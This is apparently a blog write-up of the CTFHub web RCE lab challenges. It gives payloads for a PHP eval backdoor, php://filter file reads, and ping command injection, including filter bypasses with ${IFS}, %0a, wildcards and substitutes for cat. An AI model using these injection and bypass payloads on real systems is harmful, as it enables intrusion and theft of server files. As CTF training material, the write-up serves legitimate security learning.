CTFHub web技能树 RCE

eval执行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

查看目录找flag

/?cmd=system("ls /");
/?cmd=system("cat /flag_26871");

文件包含

 ctfhub=system('ls /');

ctfhub=system('cat /flag');

php://input, 远程包含

 

读取源代码

filter伪协议

/?file=php://filter/convert.base64-encode/resource=../../../flag

命令注入

linux中命令的链接符号
1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

 

查看源码就出来了

也可以用  ip & cat *.php | base64 ,然后去解码

过滤cat

与上题一样,只是过滤cat了

换成nl

记录一下各种姿势: 

cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
使用more输出base64密文
12.0.0.1 & more flag_1482210209678.php | base64

过滤空格

这里用小于号<可以代替空格,也可以使用/**/

 过滤目录分隔符/

就是使用cd代替/,来找出flag文件的目录

127.0.0.1&ls

127.0.0.1&ls cd flag_is_here

127.0.0.1 ; cd flag_is_here ; cat flag_223902169917800.php  查看源码

过滤运算符

 if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);

过滤了|和&

不影响啥

127.0.0.1;ls

127.0.0.1;cat flag_26986317377852.php  查看源码

综合过滤练习 

if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);

先看过滤了啥东西 | & ; 空格 / cat flag ctfhub

在url里面输入%0a表示换行,这样来执行ls

 接下来用cd替代/ 来查看目录,flag用通配符*和?绕过,空格用${IFS}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值